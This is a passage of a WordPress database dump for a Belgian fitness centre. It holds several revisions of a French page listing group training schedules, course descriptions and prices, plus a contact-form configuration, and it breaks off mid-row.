(209, 1, '2013-07-03 18:12:19', '2013-07-03 18:12:19', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:12:19', '2013-07-03 18:12:19', '', 11, 'http://www.crosstrainingcenter.be/?p=209', 0, 'revision', '', 0),
(210, 1, '2013-07-03 18:13:02', '2013-07-03 18:13:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:13:02', '2013-07-03 18:13:02', '', 11, 'http://www.crosstrainingcenter.be/?p=210', 0, 'revision', '', 0),
(257, 1, '2013-07-03 20:20:19', '2013-07-03 20:20:19', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;/p&gt;\r\n\r\n&lt;p&gt;Sujet&lt;br /&gt;\r\n    [text your-subject] &lt;/p&gt;\r\n\r\n&lt;p&gt;Votre message&lt;br /&gt;\r\n    [textarea your-message] &lt;/p&gt;\r\n\r\n[captchac captcha-712]\r\n&lt;p&gt;Veuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n[captchar captcha-712]&lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Send\&quot;]&lt;/p&gt;\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n1\n[your-subject]\n[your-name] &lt;[your-email]&gt;\nFrom: [your-name] &lt;[your-email]&gt;\r\nSubject: [your-subject]\r\n\r\nMessage Body:\r\n[your-message]\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nYour message was sent successfully. Thanks.\nFailed to send your message. Please try later or contact the administrator by another method.\nValidation errors occurred. Please confirm the fields and submit it again.\nFailed to send your message. Please try later or contact the administrator by another method.\nPlease accept the terms to proceed.\nPlease fill the required field.\nYour entered code is incorrect.\nNumber format seems invalid.\nThis number is too small.\nThis number is too large.\nEmail address seems invalid.\nURL seems invalid.\nTelephone number seems invalid.\nFailed to upload file.\nThis file type is not allowed.\nThis file is too large.\nFailed to upload file. Error occurred.\nYour answer is not correct.\nDate format seems invalid.\nThis date is too early.\nThis date is too late.', 'Contact form 1', '', 'publish', 'open', 'open', '', 'contact-form-1', '', '', '2013-07-04 19:41:48', '2013-07-04 19:41:48', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=257', 0, 'wpcf7_contact_form', '', 0),
(211, 1, '2013-07-03 18:21:18', '2013-07-03 18:21:18', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:21:18', '2013-07-03 18:21:18', '', 11, 'http://www.crosstrainingcenter.be/?p=211', 